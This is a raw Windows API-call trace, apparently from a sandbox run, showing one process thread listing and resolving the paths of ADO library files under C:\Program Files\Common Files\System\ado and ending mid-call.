[0123.982] GetLastError () returned 0x12 [0123.982] GetCurrentThreadId () returned 0x9b0 [0123.982] GetLastError () returned 0x12 [0123.982] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0123.982] GetCurrentThreadId () returned 0x9b0 [0123.982] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0123.982] GetCurrentThreadId () returned 0x9b0 [0123.982] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0123.983] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0123.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0123.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.987] GetCurrentThreadId () returned 0x9b0 [0123.987] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0123.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.988] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us")) returned 0x10 [0123.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.988] GetCurrentThreadId () returned 0x9b0 [0123.988] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0123.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0123.989] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0123.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0123.990] GetCurrentThreadId () returned 0x9b0 [0123.990] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0123.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33eaf80 [0123.991] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0123.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0123.992] GetCurrentThreadId () returned 0x9b0 [0123.992] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0123.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0123.993] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0123.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0123.993] GetCurrentThreadId () returned 0x9b0 [0123.993] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0123.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.994] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaf80, Size=0x40) returned 0x38875c0 [0123.994] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0123.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0123.995] GetCurrentThreadId () returned 0x9b0 [0123.995] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0123.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0123.996] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0123.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0123.997] GetCurrentThreadId () returned 0x9b0 [0123.997] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0123.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.997] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0123.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.998] GetCurrentThreadId () returned 0x9b0 [0123.998] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0123.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0123.999] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0123.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0123.999] GetCurrentThreadId () returned 0x9b0 [0123.999] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0124.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0124.000] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38875c0, Size=0x64) returned 0x2a19818 [0124.000] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0124.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0124.001] GetCurrentThreadId () returned 0x9b0 [0124.001] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", lpFilePart=0x9bada4*="adojavas.inc") returned 0x35 [0124.001] GetCurrentThreadId () returned 0x9b0 [0124.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.001] GetCurrentThreadId () returned 0x9b0 [0124.001] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", lpFilePart=0x9bada4*="adovbs.inc") returned 0x33 [0124.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.002] GetCurrentThreadId () returned 0x9b0 [0124.002] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll", lpFilePart=0x9bada4*="msader15.dll") returned 0x35 [0124.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.002] GetCurrentThreadId () returned 0x9b0 [0124.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.002] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll", lpFilePart=0x9bada4*="msado15.dll") returned 0x34 [0124.003] GetCurrentThreadId () returned 0x9b0 [0124.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.003] GetCurrentThreadId () returned 0x9b0 [0124.003] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", lpFilePart=0x9bada4*="msado20.tlb") returned 0x34 [0124.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.004] GetCurrentThreadId () returned 0x9b0 [0124.004] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", lpFilePart=0x9bada4*="msado21.tlb") returned 0x34 [0124.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.004] GetCurrentThreadId () returned 0x9b0 [0124.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.004] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", lpFilePart=0x9bada4*="msado25.tlb") returned 0x34 [0124.004] GetCurrentThreadId () returned 0x9b0 [0124.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.005] GetCurrentThreadId () returned 0x9b0 [0124.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", lpFilePart=0x9bada4*="msado26.tlb") returned 0x34 [0124.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.005] GetCurrentThreadId () returned 0x9b0 [0124.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", lpFilePart=0x9bada4*="msado27.tlb") returned 0x34 [0124.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.006] GetCurrentThreadId () returned 0x9b0 [0124.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.006] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", lpFilePart=0x9bada4*="msado28.tlb") returned 0x34 [0124.006] GetCurrentThreadId () returned 0x9b0 [0124.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.006] GetCurrentThreadId () returned 0x9b0 [0124.006] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb", lpFilePart=0x9bada4*="msado60.tlb") returned 0x34 [0124.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.007] GetCurrentThreadId () returned 0x9b0 [0124.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.007] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll", lpFilePart=0x9bada4*="msadomd.dll") returned 0x34 [0124.007] GetCurrentThreadId () returned 0x9b0 [0124.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.008] GetCurrentThreadId () returned 0x9b0 [0124.008] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", lpFilePart=0x9bada4*="msadomd28.tlb") returned 0x36 [0124.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.008] GetCurrentThreadId () returned 0x9b0 [0124.008] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", lpFilePart=0x9bada4*="msador15.dll") returned 0x35 [0124.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.008] GetCurrentThreadId () returned 0x9b0 [0124.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.009] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb", lpFilePart=0x9bada4*="msador28.tlb") returned 0x35 [0124.009] GetCurrentThreadId () returned 0x9b0 [0124.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.009] GetCurrentThreadId () returned 0x9b0 [0124.009] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", lpFilePart=0x9bada4*="msadox.dll") returned 0x33 [0124.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.010] GetCurrentThreadId () returned 0x9b0 [0124.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", lpFilePart=0x9bada4*="msadox28.tlb") returned 0x35 [0124.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.010] GetCurrentThreadId () returned 0x9b0 [0124.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll", lpFilePart=0x9bada4*="msadrh15.dll") returned 0x35 [0124.011] GetCurrentThreadId () returned 0x9b0 [0124.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.011] GetCurrentThreadId () returned 0x9b0 [0124.011] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0124.011] GetCurrentThreadId () returned 0x9b0 [0124.011] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.012] GetCurrentThreadId () returned 0x9b0 [0124.012] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0124.012] GetCurrentThreadId () returned 0x9b0 [0124.012] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0124.012] GetCurrentThreadId () returned 0x9b0 [0124.012] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0124.012] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0124.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0124.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.014] GetCurrentThreadId () returned 0x9b0 [0124.014] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", lpFilePart=0x9bada4*="msader15.dll.mui") returned 0x3f [0124.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.014] GetCurrentThreadId () returned 0x9b0 [0124.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.015] HeapFree (in: 